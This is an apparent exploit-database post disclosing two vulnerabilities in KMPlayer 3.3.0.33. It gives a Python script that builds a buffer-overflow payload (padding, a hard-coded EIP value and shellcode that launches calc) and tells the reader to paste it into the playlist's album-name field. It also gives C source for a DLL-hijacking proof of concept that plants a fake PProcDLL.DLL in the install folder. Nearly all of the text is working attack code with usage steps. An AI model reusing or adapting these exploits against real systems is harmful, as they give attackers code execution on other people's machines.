KMPlayer 3.3.0.33 – Multiple Vulnerabilities
# Exploit Title: The KMPlayer v3.3.0.33 Multiple Vulnerabilities # Date: October, 26, 2012 # Discovered By: Mr.XHat # Exploit Author: Mr.XHat # E-Mail: Mr.XHat {AT} Gmail.com # Vendor: http://www.kmplayer.com/ # Version: 3.3.0.33 # Tested On: WinXP SP3 EN ######################### # Buffer Overflow Vulnerability: junk = "\x41" * 250 eip = "\xD7\x30\x9D\x7C" shellcode = ( "\x31\xC9\x51\x68\x63\x61\x6C\x63" "\x54\xB8\xC7\x93\xC2\x77\xFF\xD0" ) exploit = junk + eip + shellcode file = open("Exploit.txt", "w") file.write(exploit) file.close() # How To Do Exploit: # First Run The KMPlayer And Get To Playlist > Playlist Editor... > Add New album Then Past Exploit Code To "Album Name:", Now Your Shellcode Will Executed! ############################################################################################################################################################ # DLL Hijacking Vulnerability: # DLL Name: PProcDLL.DLL # How To Do Hijack: First Compile Below Source Code With C Compiler(s) And Rename Compiled DLL To PProcDLL.DLL Then Copy It To The KMPlayer Installed Path, Now If You Run The KMPlayer DLL Will Hijacked! #include <windows.h> BOOL WINAPI DllMain (HANDLE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { switch (fdwReason) { case DLL_PROCESS_ATTACH: dll_hijack(); case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } int dll_hijack() { MessageBox(0, "DLL Hijacked!", "Mr.XHat", MB_OK); } # # Enjoys! |